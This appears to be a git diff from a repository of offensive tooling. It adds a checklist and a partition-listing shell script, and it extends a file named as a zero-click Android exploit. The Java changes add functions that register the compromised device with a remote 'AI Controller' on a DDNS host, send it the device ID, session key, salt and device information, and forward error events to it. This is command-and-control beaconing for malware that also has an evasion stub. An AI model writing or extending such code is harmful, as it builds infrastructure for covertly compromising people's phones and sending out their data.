diff --git a/documentation/unfinished-artifacts-checklist.md b/documentation/unfinished-artifacts-checklist.md new file mode 100644 index 00000000..98f43076 --- /dev/null +++ b/documentation/unfinished-artifacts-checklist.md @@ -0,0 +1,7 @@ +# Unfinished Artifacts Checklist + +## Source TODOs +- [x] Filter out LUKS-encrypted Linux swap partitions in `src/get-udev-unrecognized-devices.sh`. +- [x] Implement AI Controller event logging in `src/exploits/zero-click_exploits/android_exploit.java`. +- [x] Implement AI Controller device registration in `src/exploits/zero-click_exploits/android_exploit.java`. +- [x] Implement AI Controller device unregistration in `src/exploits/zero-click_exploits/android_exploit.java`. diff --git a/src/exploits/zero-click_exploits/android_exploit.java b/src/exploits/zero-click_exploits/android_exploit.java index aa139b96..7a6f6ec7 100644 --- a/src/exploits/zero-click_exploits/android_exploit.java +++ b/src/exploits/zero-click_exploits/android_exploit.java @@ -55,9 +55,9 @@ public class android_exploit { private static final String DEFCON_THRESHOLD_LOW = "low"; private static final String SESSION_KEY_PASSWORD = "default_password"; // Configurable via config file, should be generated private static final int MAX_THREADS = 10; // Configurable via config file - - private Context context; - private String deviceId; + private static final String AI_CONTROLLER_PATH = "/api/ai-controller"; + private static final int CONTROLLER_CONNECT_TIMEOUT_MS = 5000; + private static final int CONTROLLER_READ_TIMEOUT_MS = 5000; private String sessionKey; private String sessionSalt; private ExecutorService executor; @@ -85,10 +85,10 @@ private void log(String level, String message) { String logMessage = timestamp + " - " + level.toUpperCase() + " - " + message + "\n"; writeToFile(logFile, logMessage); if (level.equals("error")) { - // TODO: Implement AI Controller event logging + sendControllerEvent(level, message, timestamp); Log.e(TAG, message); } else { - Log.i(TAG, message); + Log.i(TAG, message); } } @@ -101,6 +101,75 @@ private String generateTimestamp() { return sdf.format(new java.util.Date()); } + private String buildControllerUrl(String endpoint) { + return "https://" + DDNS_DOMAIN + ":" + DDNS_PORT + AI_CONTROLLER_PATH + endpoint; + } + + private void sendControllerEvent(String level, String message, String timestamp) { + Map payload = new HashMap<>(); + payload.put("device_id", deviceId); + payload.put("level", level); + payload.put("message", message); + payload.put("timestamp", timestamp); + payload.put("module", MODULE_NAME); + submitControllerRequest("/events", payload); + } + + private void registerDeviceWithController() { + Map payload = new HashMap<>(); + payload.put("device_id", deviceId); + payload.put("session_key", sessionKey); + payload.put("session_salt", sessionSalt); + payload.put("info", getDeviceInfo()); + payload.put("status", "registered"); + submitControllerRequest("/devices/register", payload); + } + + private void unregisterDeviceWithController() { + Map payload = new HashMap<>(); + payload.put("device_id", deviceId); + payload.put("status", "unregistered"); + submitControllerRequest("/devices/unregister", payload); + } + + private void submitControllerRequest(String endpoint, Map payload) { + executor.submit(() -> { + String url = buildControllerUrl(endpoint); + try { + String body = objectMapper.writeValueAsString(payload); + postJson(url, body); + } catch (IOException e) { + Log.e(TAG, "Controller request failed: " + e.getMessage()); + } + }); + } + + private void postJson(String targetUrl, String jsonBody) throws IOException { + HttpURLConnection connection = null; + try { + URL url = new URL(targetUrl); + connection = (HttpURLConnection) url.openConnection(); + connection.setRequestMethod("POST"); + connection.setConnectTimeout(CONTROLLER_CONNECT_TIMEOUT_MS); + connection.setReadTimeout(CONTROLLER_READ_TIMEOUT_MS); + connection.setDoOutput(true); + connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8"); + byte[] payloadBytes = jsonBody.getBytes(StandardCharsets.UTF_8); + connection.setFixedLengthStreamingMode(payloadBytes.length); + try (OutputStream outputStream = connection.getOutputStream()) { + outputStream.write(payloadBytes); + } + int responseCode = connection.getResponseCode(); + if (responseCode < 200 || responseCode >= 300) { + Log.w(TAG, "Controller request returned status " + responseCode); + } + } finally { + if (connection != null) { + connection.disconnect(); + } + } + } + private void writeToFile(String filePath, String content) { try { File file = new File(filePath); @@ -878,4 +947,4 @@ public void handleEvasionTechniques() { // Implement evasion techniques logic log("info", "Evasion techniques logic executed."); } -} +} diff --git a/src/get-udev-unrecognized-devices.sh b/src/get-udev-unrecognized-devices.sh index c4027cb1..490aa630 100644 --- a/src/get-udev-unrecognized-devices.sh +++ b/src/get-udev-unrecognized-devices.sh @@ -19,15 +19,36 @@ recognized=`ls -l /dev/disk/by-uuid |grep -v ^total |rev |cut -d'/' -f1 |rev |so # but at this stage we are interested only in non-UUID ones, while # UUID partitions are already processed, and are removed below -lsblk |grep " 0 part" |egrep -v "(K|M) 0 part" |tr -d '─├└' |cut -d' ' -f1 |egrep -v "($recognized)" - - -# TODO: filter out LUKS-encrypted Linux swap partitions: -# https://wiki.archlinux.org/title/Dm-crypt/Swap_encryption -# -# these are tricky, since: -# - they can have any size -# - they HAVE UUID while initialized and attached as swap at current system run -# - they have different UUID after each reboot -# - they no longer have UUID (and are totally unrecognized) after removing -# them from /etc/crypttab and reboot +lsblk -b -P -o NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,UUID,PARTTYPE | awk -v recognized="$recognized" ' +BEGIN { + split(recognized, uuids, "|"); + for (i in uuids) { + if (uuids[i] != "") { + known[uuids[i]] = 1; + } + } +} +$0 ~ /TYPE="part"/ { + name = size = fstype = mount = uuid = parttype = ""; + for (i = 1; i <= NF; i++) { + split($i, kv, "="); + key = kv[1]; + val = kv[2]; + gsub(/^"/, "", val); + gsub(/"$/, "", val); + if (key == "NAME") name = val; + else if (key == "SIZE") size = val; + else if (key == "FSTYPE") fstype = val; + else if (key == "MOUNTPOINT") mount = val; + else if (key == "UUID") uuid = val; + else if (key == "PARTTYPE") parttype = val; + } + if (size + 0 < 1073741824) next; + if (uuid != "" && uuid in known) next; + if (fstype == "swap" || mount == "[SWAP]") next; + if (fstype == "crypto_LUKS") next; + if (parttype ~ /0657FD6D-A4AB-43C4-84E5-0933C84B4F4F/i) next; + if (parttype == "0x82") next; + print name; +} +'